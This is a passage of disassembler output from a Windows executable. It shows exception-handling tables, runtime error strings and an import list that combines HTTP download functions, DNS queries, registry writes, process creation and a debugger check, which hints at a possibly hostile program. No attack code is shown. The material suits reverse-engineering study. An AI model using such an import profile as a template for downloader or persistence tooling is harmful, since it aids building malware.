40D8D9h, 0 dd offset off_4241FC dd 0 dd 0FFFFFFFFh, 0 dword_41FE8C dd 0Ch, 401850h, 2, 41FE78h, 41FE5Chdword_41FEA0 dd 0 ; sub_405F1C+34o ... dd offset loc_401000 dd 0 dd offset dword_41FE8C+8 dd 0 dd offset off_424218 dd 0 dd 0FFFFFFFFh, 0 dd 28h, 401919h, 0 dd offset off_424238 align 8 dd 0FFFFFFFFh, 0 dword_41FEE0 dd 28h, 402433h, 3, 41FECCh, 41FEB0h, 41FE5Chdword_41FEF8 dd 0 ; sub_405EBC+39o ... dd offset loc_4018EC dd 0 dd offset dword_41FEE0+8 dd 0 dd offset off_424334 dd 0 dd 0FFFFFFFFh, 0 dword_41FF1C dd 1Ch, 4033C8h, 1, 41FF08hdword_41FF2C dd 0 ; sub_40376E+9Co ... dd offset loc_4033BE align 8 dd offset dword_41FF1C+8 align 10h dd offset off_42434C align 8 dd 0FFFFFFFFh, 0 dword_41FF50 dd 28h, 4081A7h, 3, 41FF3Ch, 41FEB0h, 41FE5Chdword_41FF68 dd 0 ; sub_40ACEC+36o ... dd offset sub_40817A dd 0 dd offset dword_41FF50+8 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 1, 0 dd 1, 0 dd 40h, 2 dup(0) dd offset sub_4016BB dd 40h, 2 dup(0) dd offset loc_401640 dd 2 dup(2), 3, 1, 41FF98h, 2 dup(0) dd 3, 1, 41FFA8h dword_41FFE0 dd 19930522h, 4, 41FF78h, 2, 41FFB8h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AEABh dword_42000C dd 19930522h, 1, 420004h, 5 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0) dd offset loc_41AEBD dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_40ACD9 dd 0 dd 1, 2, 1, 420048h dword_42006C dd 19930522h, 3, 420030h, 1, 420058h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AECCh, 0 dd offset loc_41AED4 dword_4200A0 dd 19930522h, 2, 420090h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AEE9h dword_4200CC dd 19930522h, 1, 4200C4h, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_407114 dd 2 dup(0) dd 2 dup(1), 420100h dword_420124 dd 19930522h, 2, 4200F0h, 1, 420110h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_4070AD align 10h dd 2 dup(1), 420158h dword_42017C dd 19930522h, 2, 420148h, 1, 420168h, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0) dd offset loc_41AF0F dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_402420 dd 0 dd 1, 2, 1, 4201B8h dword_4201DC dd 19930522h, 3, 4201A0h, 1, 4201C8h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AF1Eh dword_420208 dd 19930522h, 1, 420200h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AF41h dword_420234 dd 19930522h, 1, 42022Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_40CB7F align 10h dd 2 dup(1), 420268h dword_42028C dd 19930522h, 2, 420258h, 1, 420278h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) ; --------------------------------------------------------------------------- cmpsb retf 40h ; --------------------------------------------------------------------------- dd 2 dup(0) dd 2 dup(1), 4202C0h dword_4202E4 dd 19930522h, 2, 4202B0h, 1, 4202D0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AF78h, 4 dup(0) dd 40h, 2 dup(0) dd offset loc_40B41A dd 2 dup(1), 2, 1, 420320h dword_420344 dd 19930522h, 3, 420308h, 1, 420330h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_40B394 align 10h dd 2 dup(1), 420378h dword_42039C dd 19930522h, 2, 420368h, 1, 420388h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_40B2C5 dd 2 dup(0) dd 2 dup(1), 4203D0h dword_4203F4 dd 19930522h, 2, 4203C0h, 1, 4203E0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AF9Eh dword_420420 dd 19930522h, 1, 420418h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AFB0h, 0 dd offset loc_41AFB8 align 8 dd offset loc_41AFC0 dword_42045C dd 19930522h, 3, 420444h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AFD2h dword_420488 dd 19930522h, 1, 420480h, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_407353 dd 2 dup(0) dd 2 dup(1), 4204BCh dword_4204E0 dd 19930522h, 2, 4204ACh, 1, 4204CCh, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0) dd offset loc_41AFEE dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_406F9C align 10h dd 1, 2, 1, 42051Ch dword_420540 dd 19930522h, 3, 420504h, 1, 42052Ch, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_406725 dd 2 dup(0) dd 2 dup(1), 420574h dword_420598 dd 19930522h, 2, 420564h, 1, 420584h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B007h dword_4205C4 dd 19930522h, 1, 4205BCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B019h, 0 dd offset loc_41B021 dword_4205F8 dd 19930522h, 2, 4205E8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B033h, 0 dd offset loc_41B03D dword_42062C dd 19930522h, 2, 42061Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41B04Fh, 0 dd offset loc_41B05A dd 1, 41B065h, 2, 41B070h, 3, 41B07Bh, 4, 41B086h, 5, 41B093h dd 6, 41B0A0h, 7, 41B0AEh dword_420698 dd 19930522h, 9, 420650h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B0C6h dword_4206C4 dd 19930522h, 1, 4206BCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B0DEh dword_4206F0 dd 19930522h, 1, 4206E8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B0F3h dword_42071C dd 19930522h, 1, 420714h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B105h dword_420748 dd 19930522h, 1, 420740h, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_40C975 dd 40h, 2 dup(0) dd offset loc_40C97E dd 2 dup(0) dd 2 dup(1), 42078Ch, 2 dup(2), 3, 1, 42079Ch dword_4207D4 dd 19930522h, 4, 42076Ch, 2, 4207ACh, 3 dup(0) dd 1, 0FFFFFFFFh, 41B121h, 8 dup(0) dd 40h, 2 dup(0) dd offset loc_40C511 dd 40h, 2 dup(0) dd offset loc_40C59E dd 2 dup(1), 2, 1, 420820h, 2 dup(3), 4, 1, 420830h dword_420868 dd 19930522h, 5, 4207F8h, 2, 420840h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B133h, 8 dup(0) dd 40h, 2 dup(0) dd offset loc_40A348 dd 40h, 2 dup(0) dd offset loc_40A3CE dd 2 dup(1), 2, 1, 4208B4h, 2 dup(3), 4, 1, 4208C4h dword_4208FC dd 19930522h, 5, 42088Ch, 2, 4208D4h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B145h, 8 dup(0) dd 40h, 2 dup(0) dd offset loc_409F2A dd 40h, 2 dup(0) dd offset loc_409FAB dd 2 dup(1), 2, 1, 420948h, 2 dup(3), 4, 1, 420958h dword_420990 dd 19930522h, 5, 420920h, 2, 420968h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B157h, 0 dd offset loc_41B170 align 8 dd offset loc_41B178 dd 2, 41B180h, 3, 41B188h, 2, 41B190h, 0 dd offset loc_41B1A9 dword_4209EC dd 19930522h, 7, 4209B4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B1BBh, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0B1h, 41h, 0 dd 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0B1h, 41h, 0 dd 2, 41B1D3h dword_420A30 dd 19930522h, 4, 420A10h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B1E5h, 0 dd offset loc_41B1ED dd 1, 41B1F5h dword_420A6C dd 19930522h, 3, 420A54h, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_40764D dd 2 dup(0) dd 2 dup(1), 420AA0h dword_420AC4 dd 19930522h, 2, 420A90h, 1, 420AB0h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_407175 align 10h dd 2 dup(1), 420AF8h dword_420B1C dd 19930522h, 2, 420AE8h, 1, 420B08h, 3 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_4067DF dd 2 dup(0) dd 2 dup(1), 420B50h dword_420B74 dd 19930522h, 2, 420B40h, 1, 420B60h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B225h, 0 dd offset loc_41B22D dd 1, 41B238h, 2, 41B243h dword_420BB8 dd 19930522h, 4, 420B98h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B258h, 0 dd offset loc_41B260 dd 1, 41B268h dword_420BF4 dd 19930522h, 3, 420BDCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B27Ah, 0 dd offset loc_41B282 dword_420C28 dd 19930522h, 2, 420C18h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B294h, 0 dd offset loc_41B29C dd 1, 41B2A4h dword_420C64 dd 19930522h, 3, 420C4Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41B2B6h dword_420C90 dd 19930522h, 1, 420C88h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B2C8h, 0FFFFFFFFh, 41B2D0h dword_420CC4 dd 19930522h, 2, 420CB4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B2E2h, 0FFFFFFFFh, 41B2ECh, 1, 41B2F7h dd 1, 41B2FFh, 1, 41B30Fh, 1, 41B307h dword_420D18 dd 19930522h, 6, 420CE8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B324h, 0 dd offset loc_41B32C dword_420D4C dd 19930522h, 2, 420D3Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_40B326 dd 2 dup(0) dd 2 dup(1), 420D80h dword_420DA4 dd 19930522h, 2, 420D70h, 1, 420D90h, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0) dd offset loc_41B348 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset sub_40A8BA dd 0 dd 1, 2, 1, 420DE0h dword_420E04 dd 19930522h, 3, 420DC8h, 1, 420DF0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B357h, 0 dd offset loc_41B35F dd 1, 41B367h, 1, 41B36Fh, 1, 41B377h, 1, 41B37Fh, 1, 41B387h dd 6, 41B38Fh, 6, 41B39Ah, 1, 41B3A5h, 1, 41B3ADh, 1, 41B3B5h dd 1, 41B3BDh, 1, 41B3C5h dword_420E98 dd 19930522h, 0Eh, 420E28h, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 74h, 40h, 0 dd 2 dup(0) dd 2 dup(1), 420ECCh dword_420EF0 dd 19930522h, 2, 420EBCh, 1, 420EDCh, 3 dup(0) dd 1, 0FFFFFFFFh, 41B3E1h dword_420F1C dd 19930522h, 1, 420F14h, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_406C72 dd 2 dup(0) dd 2 dup(1), 420F50h dword_420F74 dd 19930522h, 2, 420F40h, 1, 420F60h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B3FAh, 0 dd offset loc_41B402 dd 1, 41B40Ah, 2, 41B412h, 3, 41B41Dh dword_420FC0 dd 19930522h, 5, 420F98h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B432h, 0 dd offset loc_41B43D dword_420FF4 dd 19930522h, 2, 420FE4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B452h, 0FFFFFFFFh, 41B45Ah, 1, 41B464h dword_421030 dd 19930522h, 3, 421018h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B479h, 0FFFFFFFFh, 41B481h, 0FFFFFFFFh dd 41B489h, 0FFFFFFFFh, 41B491h, 0FFFFFFFFh, 41B499h, 0FFFFFFFFh dd 41B4A4h dword_421084 dd 19930522h, 6, 421054h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B4B6h, 0FFFFFFFFh, 41B4BEh dword_4210B8 dd 19930522h, 2, 4210A8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B4D0h dword_4210E4 dd 19930522h, 1, 4210DCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B4E2h, 0FFFFFFFFh, 41B4EAh, 0FFFFFFFFh dd 41B4F2h dword_421120 dd 19930522h, 3, 421108h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B504h, 8 dup(0) dd 40h, 2 dup(0) dd offset loc_40A124 dd 40h, 2 dup(0) dd offset loc_40A1C1 dd 2 dup(1), 2, 1, 42116Ch, 2 dup(3), 4, 1, 42117Ch dword_4211B4 dd 19930522h, 5, 421144h, 2, 42118Ch, 3 dup(0) dd 1, 0FFFFFFFFh, 41B516h, 0 dd offset loc_41B51E dd 1, 41B526h, 2, 41B52Eh, 3, 41B539h, 3, 41B544h, 1, 41B54Fh dd 1, 41B55Ah, 7, 41B562h, 7, 41B56Dh dword_421228 dd 19930522h, 0Ah, 4211D8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B582h, 0 dd offset loc_41B58A dd 1, 41B592h, 2, 41B59Ah dword_42126C dd 19930522h, 4, 42124Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 40h, 2 dup(0) dd offset loc_407695 dd 2 dup(0) dd 2 dup(1), 4212A0h dword_4212C4 dd 19930522h, 2, 421290h, 1, 4212B0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B5B6h, 8 dup(0) dd 40h, 2 dup(0) dd offset loc_4060E6 dd 40h, 2 dup(0) dd offset loc_406185 dd 2 dup(1), 2, 1, 421310h, 2 dup(3), 4, 1, 421320h dword_421358 dd 19930522h, 5, 4212E8h, 2, 421330h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B5CBh dword_421384 dd 19930522h, 1, 42137Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41B5DDh, 0 dd offset loc_41B5E5 dd 1, 41B5F0h dword_4213C0 dd 19930522h, 3, 4213A8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B605h dword_4213EC dd 19930522h, 1, 4213E4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B617h, 0FFFFFFFFh, 41B61Fh dword_421420 dd 19930522h, 2, 421410h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B631h dword_42144C dd 19930522h, 1, 421444h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B643h, 2 dup(0) dd 1, 41B64Bh, 1, 41B653h, 2 dup(0) dd 8, 424334h, 0FFFFFFE4h, 4052D1h, 1, 3, 4, 1, 421498h dword_4214BC dd 19930522h, 5, 421470h, 1, 4214A8h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B665h dword_4214E8 dd 19930522h, 1, 4214E0h, 5 dup(0) dd 1, 3 dup(0) dd 21854h, 1C1BCh, 3 dup(0) dd 21882h, 1C01Ch, 3 dup(0) dd 2188Eh, 1C1E0h, 3 dup(0) dd 21B36h, 1C028h, 3 dup(0) dd 21B68h, 1C1B0h, 3 dup(0) dd 21BDCh, 1C000h, 8Dh dup(0) dd 74480057h, 75517074h, 49797265h, 416F666Eh, 930000h dd 65746E49h, 74656E72h, 6E65704Fh, 416C7255h, 6F0000h dd 65746E49h, 74656E72h, 6E6E6F43h, 41746365h, 9A0000h dd 65746E49h, 74656E72h, 64616552h, 656C6946h, 550000h dd 70747448h, 6E65704Fh, 75716552h, 41747365h, 590000h dd 70747448h, 646E6553h, 75716552h, 41747365h, 690000h aInternetcloseh db 'InternetCloseHandle',0 aT db '’',0 aInternetopena db 'InternetOpenA',0 aWininet_dll db 'WININET.dll',0 aG db 'G',0 aDnsquery_a db 'DnsQuery_A',0 align 2 aN db 'N',0 aDnsrecordlistf db 'DnsRecordListFree',0 aDnsapi_dll db 'DNSAPI.dll',0 align 2 aWs2_32_dll db 'WS2_32.dll',0 align 2 dw 204h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 654701DFh, 63695474h, 756F436Bh, 746Eh, 6547014Eh, 73694474h dd 6572466Bh, 61705365h, 78456563h, 1C80041h, 53746547h dd 65747379h, 6D69546Dh, 0F30065h, 6D726F46h, 654D7461h dd 67617373h, 4165h, 6E490223h, 61697469h, 657A696Ch, 74697243h dd 6C616369h, 74636553h, 6E6F69h, 654C0251h, 43657661h dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E450098h, 43726574h dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 6F4C025Ch, 466C6163h dd 656572h, 784500B9h, 72507469h, 7365636Fh, 0E30073h dd 646E6946h, 6F736552h, 65637275h, 2570041h, 64616F4Ch dd 6F736552h, 65637275h, 3900000h, 74696157h, 53726F46h dd 6C676E69h, 6A624F65h, 746365h, 65530316h, 65764574h dd 746Eh, 654701F3h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 4179h, 6C530356h, 706565h, 69530355h, 666F657Ah, 6F736552h dd 65637275h, 4F0000h, 61657243h, 76456574h, 41746E65h dd 660000h, 61657243h, 72506574h, 7365636Fh, 4173h, 654701B7h dd 61745374h, 70757472h, 6F666E49h, 1710041h, 4C746547h dd 45747361h, 726F7272h, 3C30000h, 7274736Ch, 69706D63h dd 1A00041h, 50746547h, 41636F72h, 65726464h, 7373h, 65530319h dd 6C694674h, 74744165h, 75626972h, 41736574h, 2CF0000h dd 65736552h, 65764574h, 746Eh, 6F4C0265h, 65526B63h, 72756F73h dd 6563h, 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6547017Dh dd 646F4D74h, 46656C75h, 4E656C69h, 41656D61h, 17F0000h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 600000h dd 61657243h, 754D6574h, 41786574h, 810000h, 656C6544h dd 72436574h, 63697469h, 65536C61h, 6F697463h, 1E9006Eh dd 56746547h, 69737265h, 78456E6Fh, 340041h, 736F6C43h dd 6E614865h, 656C64h, 654701E2h, 6D695474h, 6E6F5A65h dd 666E4965h, 616D726Fh, 6E6F6974h, 1730000h, 4C746547h dd 6C61636Fh, 656D6954h, 1E00000h, 54746547h, 46656D69h dd 616D726Fh, 4174h, 65470147h, 74614474h, 726F4665h, 4174616Dh dd 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 6547010Bh, 72754374h dd 50726F73h, 736Fh, 6547015Dh, 73795374h, 4D6D6574h, 69727465h dd 7363h, 52455355h, 642E3233h, 6C6Ch, 65520204h, 74655367h dd 756C6156h, 41784565h, 1F70000h, 51676552h, 79726575h dd 756C6156h, 41784565h, 1D10000h, 43676552h, 74616572h dd 79654B65h, 417845h, 655201ECh, 65704F67h, 79654B6Eh dd 417845h, 655201CBh, 6F6C4367h, 654B6573h, 1D80079h dd 44676552h, 74656C65h, 6C615665h, 416575h, 41564441h dd 32334950h, 6C6C642Eh, 35E0000h, 6D726554h, 74616E69h dd 6F725065h, 73736563h, 1420000h, 43746547h, 65727275h dd 7250746Eh, 7365636Fh, 36E0073h, 61686E55h, 656C646Eh dd 63784564h, 69747065h, 69466E6Fh, 7265746Ch, 34A0000h dd 55746553h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h dd 6C69466Eh, 726574h, 73490239h, 75626544h, 72656767h dd 73657250h, 746E65h, 654701CAh, 73795374h, 546D6574h dd 41656D69h, 6C694673h, 6D695465h, 0BA0065h, 74697845h dd 65726854h, 6461h, 65470146h, 72754374h, 746E6572h, 65726854h dd 64496461h, 6F0000h, 61657243h, 68546574h, 64616572h dd 1100000h, 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh dd 65480216h, 72467061h, 6565h, 65480210h, 6C417061h, 636F6Ch dd 654701A3h, 6F725074h, 73736563h, 70616548h, 2A70000h dd 73696152h, 63784565h, 69747065h, 6E6Fh, 745202D7h, 776E556Ch dd 646E69h, 6C540365h, 74654773h, 756C6156h, 3630065h dd 41736C54h, 636F6C6Ch, 3660000h, 53736C54h, 61567465h dd 65756Ch, 6C540364h, 65724673h, 22C0065h, 65746E49h dd 636F6C72h, 4964656Bh, 6572636Eh, 746E656Dh, 3280000h dd 4C746553h, 45747361h, 726F7272h, 2280000h, 65746E49h dd 636F6C72h, 4464656Bh, 65726365h, 746E656Dh, 21C0000h dd 70616548h, 657A6953h, 1040000h, 43746547h, 666E4950h dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h dd 434C0244h, 5370614Dh, 6E697274h, 4167h, 69570394h, 68436564h dd 6F547261h, 746C754Dh, 74794269h, 2750065h, 746C754Dh dd 74794269h, 576F5465h, 43656469h, 726168h, 434C0245h dd 5370614Dh, 6E697274h, 5767h, 725703A4h, 46657469h, 656C69h dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470122h, 6E6F4374h dd 656C6F73h, 5043h, 65470133h, 6E6F4374h, 656C6F73h, 65646F4Dh dd 0F60000h, 65657246h, 69766E45h, 6D6E6F72h, 53746E65h dd 6E697274h, 417367h, 65470155h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 73676Eh, 724600F7h, 6E456565h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 1570057h dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h dd 5773h, 65530324h, 6E614874h, 43656C64h, 746E756Fh, 1660000h dd 46746547h, 54656C69h, 657079h, 65480214h, 65447061h dd 6F727473h, 2120079h, 70616548h, 61657243h, 6574h, 69560383h dd 61757472h, 6572466Ch, 2A30065h, 72657551h, 72655079h dd 6D726F66h, 65636E61h, 6E756F43h, 726574h, 65470143h dd 72754374h, 746E6572h, 636F7250h, 49737365h, 3810064h dd 74726956h, 416C6175h, 636F6C6Ch, 21A0000h, 70616548h dd 6C416552h, 636F6Ch, 6553031Bh, 6C694674h, 696F5065h dd 7265746Eh, 2520000h, 64616F4Ch, 7262694Ch, 41797261h dd 1BA0000h, 53746547h, 6E697274h, 70795467h, 4165h, 654701BDh dd 72745374h, 54676E69h, 57657079h, 1740000h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 72430053h, 65746165h, 656C6946h dd 3990041h, 74697257h, 6E6F4365h, 656C6F73h, 1350041h dd 43746547h, 6F736E6Fh, 754F656Ch, 74757074h, 5043h, 725703A3h dd 43657469h, 6F736E6Fh, 57656Ch, 65530337h, 64745374h dd 646E6148h, 656Ch, 6C4600EEh, 46687375h, 42656C69h, 65666675h dd 7372h, 65530310h, 646E4574h, 6946664Fh, 656Ch, 655202B5h dd 69466461h, 656Ch, 3FDh dup(0) dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 align 10h dd offset dword_41DFB4 off_423014 dd offset off_41C308 ; DATA XREF: .vty:0041F2B8o ; .vty:0041F2D8o dd 0 a_?avtype_info@ db '.?AVtype_info@@',0 off_42302C dd offset dword_41DFB4 ; DATA XREF: sub_40DE4F+3o dword_423030 dd 1 dword_423034 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_423198 dd 0Ch dword_42319C dd 8 dword_4231A0 dd 2 ; sub_4143CC+19r ... dd offset sub_415D0D align 10h off_4231B0 dd offset aNull_0 ; DATA XREF: sub_4113BB:loc_4118A9r ; sub_4113BB+7E7r ; "(null)" off_4231B4 dd offset aNull ; DATA XREF: sub_4113BB+433r ; "(null)" dword_4231B8 dd 8 ; sub_411DBF+13r ... dword_4231BC dd 7 ; sub_411D53+1Er ... dword_4231C0 dd 2D2A80D3h ; sub_412755+45w dword_4231C4 dd 0DCC9149h ; sub_40F9A2+85o ... dword_4231C8 dd 0F2336EB6h ; sub_415C79+89w ... dd offset dword_41DFB4 off_4231D0 dd offset aNoError ; DATA XREF: sub_412B3Ao ; "No error" dd offset aOperationNotPe ; "Operation not permitted" dd offset aNoSuchFileOrDi ; "No such file or directory" dd offset aNoSuchProcess ; "No such process" dd offset aInterruptedFun ; "Interrupted function call" dd offset aInputOutputErr ; "Input/output error" dd offset aNoSuchDeviceOr ; "No such device or address" dd offset aArgListTooLong ; "Arg list too long" dd offset aExecFormatErro ; "Exec format error" dd offset aBadFileDescrip ; "Bad file descriptor" dd offset aNoChildProcess ; "No child processes" dd offset aResourceTempor ; "Resource temporarily unavailable" dd offset aNotEnoughSpace ; "Not enough space" dd offset aPermissionDeni ; "Permission denied" dd offset aBadAddress ; "Bad address" dd offset aUnknownError ; "Unknown error" dd offset aResourceDevice ; "Resource device" dd offset aFileExists ; "File exists" dd offset aImproperLink ; "Improper link" dd offset aNoSuchDevice ; "No such device" dd offset aNotADirectory ; "Not a directory" dd offset aIsADirectory ; "Is a directory" dd offset aInvalidArgumen ; "Invalid argument" dd offset aTooManyOpenF_0 ; "Too many open files in system" dd offset aTooManyOpenFil ; "Too many open files" dd offset aInappropriateI ; "Inappropriate I/O control operation" dd offset aUnknownError ; "Unknown error" dd offset aFileTooLarge ; "File too large" dd offset aNoSpaceLeftOnD ; "No space left on device" dd offset aInvalidSeek ; "Invalid seek" dd offset aReadOnlyFileSy ; "Read-only file system" dd offset aTooManyLinks ; "Too many links" dd offset aBrokenPipe ; "Broken pipe" dd offset aDomainError ; "Domain error" dd offset aResultTooLarge ; "Result too large" dd offset aUnknownError ; "Unknown error" dd offset aResourceDeadlo ; "Resource deadlock avoided" dd offset aUnknownError ; "Unknown error" dd offset aFilenameTooLon ; "Filename too long" dd offset aNoLocksAvailab ; "No locks available" dd offset aFunctionNotImp ; "Function not implemented" dd offset aDirectoryNotEm ; "Directory not empty" dd offset aIllegalByteSeq ; "Illegal byte sequence" dd offset aUnknownError ; "Unknown error" dword_423280 dd 2Bh, 0 dword_423288 dd 0FFFFFFFFh, 16h dup(0) ; sub_412015+9Ao ... dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 31h dup(0) dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh dd 76757473h, 7A797877h, 0 db 0 align 2 aAbcdefghijkl_3 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 align 4 dd 21h dup(0) byte_4234A8 db 0 ; DATA XREF: sub_4130CA+102w align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h, 0 byte_4235B0 db 0 ; DATA XREF: sub_4130CA+11Ew align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_4236B0 dd 383258h ; sub_412E01+4Cr ... byte_4236B4 db 1 ; DATA XREF: sub_412F1F+E3r db 2, 4, 8 dword_4236B8 dd 3A4h 